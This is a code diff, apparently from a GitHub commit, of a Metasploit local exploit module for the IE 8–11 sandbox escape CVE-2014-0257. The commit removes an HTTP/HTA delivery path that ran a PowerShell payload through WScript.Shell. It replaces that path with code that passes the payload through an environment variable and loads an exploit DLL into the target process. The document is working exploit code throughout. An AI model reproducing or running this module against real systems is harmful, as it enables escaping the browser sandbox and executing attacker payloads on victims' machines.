@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
13
13
14
14
include Msf ::Exploit ::Powershell
15
15
include Msf ::Exploit ::EXE
16
- include Msf ::Exploit ::Remote ::HttpServer
17
16
include Msf ::Post ::Windows ::Priv
18
17
include Msf ::Post ::Windows ::FileInfo
19
18
include Msf ::Post ::File
@@ -47,12 +46,15 @@ def initialize(info={})
47
46
] ,
48
47
'Platform' => [ 'win' ] ,
49
48
'SessionTypes' => [ 'meterpreter' ] ,
50
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
51
49
'Targets' =>
52
50
[
53
51
[ 'IE 8 - 11' , { } ]
54
52
] ,
55
53
'DefaultTarget' => 0 ,
54
+ 'DefaultOptions' =>
55
+ {
56
+ 'WfsDelay' => 30
57
+ } ,
56
58
'DisclosureDate' => "Feb 11 2014" ,
57
59
'References' =>
58
60
[
@@ -62,11 +64,6 @@ def initialize(info={})
62
64
[ 'URL' , 'https://github.com/tyranid/IE11SandboxEscapes' ]
63
65
]
64
66
) )
65
-
66
- register_options (
67
- [
68
- OptInt . new ( 'DELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] )
69
- ] )
70
67
end
71
68
72
69
def check
@@ -153,12 +150,20 @@ def exploit
153
150
154
151
print_good ( ".NET looks vulnerable, exploiting..." )
155
152
156
- begin
157
- Timeout . timeout ( datastore [ 'DELAY' ] ) { super }
158
- rescue Timeout :: Error
159
- end
153
+ cmd = cmd_psh_payload ( payload . encoded ) . gsub ( '%COMSPEC% /B /C start powershell.exe ' , '' ) . strip
154
+ session . railgun . kernel32 . SetEnvironmentVariableA ( "PSHCMD" , cmd )
155
+
156
+ temp = get_env ( 'TEMP' )
160
157
161
- session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , nil )
158
+ print_status ( "Loading Exploit Library..." )
159
+
160
+ session . core . load_library (
161
+ 'LibraryFilePath' => ::File . join ( Msf ::Config . data_directory , "exploits" , "CVE-2014-0257" , "CVE-2014-0257.dll" ) ,
162
+ 'TargetFilePath' => temp + "\\ CVE-2014-0257.dll" ,
163
+ 'UploadLibrary' => true ,
164
+ 'Extension' => false ,
165
+ 'SaveToDisk' => false
166
+ )
162
167
end
163
168
164
169
def valid_mscorlib_version? ( net_version , mscorlib_version )
@@ -183,37 +188,9 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
183
188
valid
184
189
end
185
190
186
- def primer
187
- exploit_uri = "#{ get_uri } /#{ rand_text_alpha ( 4 + rand ( 4 ) ) } .hta"
188
- session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , exploit_uri )
189
-
190
- temp = get_env ( 'TEMP' )
191
-
192
- print_status ( "Loading Exploit Library..." )
193
-
194
- session . core . load_library (
195
- 'LibraryFilePath' => ::File . join ( Msf ::Config . data_directory , "exploits" , "CVE-2014-0257" , "CVE-2014-0257.dll" ) ,
196
- 'TargetFilePath' => temp + "\\ CVE-2014-0257.dll" ,
197
- 'UploadLibrary' => true ,
198
- 'Extension' => false ,
199
- 'SaveToDisk' => false
200
- )
201
- end
202
-
203
- def on_request_uri ( cli , request )
204
- if request . uri =~ /\. hta$/
205
- print_status ( "Sending hta..." )
206
- hta = <<-eos
207
- <script>
208
- var command = "#{ cmd_psh_payload ( payload . encoded ) . strip } ";
209
- var shell = new ActiveXObject("WScript.Shell");
210
- shell.Run(command);
211
- </script>
212
- eos
213
- send_response ( cli , hta , { 'Content-Type' => 'application/hta' } )
214
- else
215
- send_not_found ( cli )
216
- end
191
+ def cleanup
192
+ session . railgun . kernel32 . SetEnvironmentVariableA ( "PSHCMD" , nil )
193
+ super
217
194
end
218
195
219
196
end
0 commit comments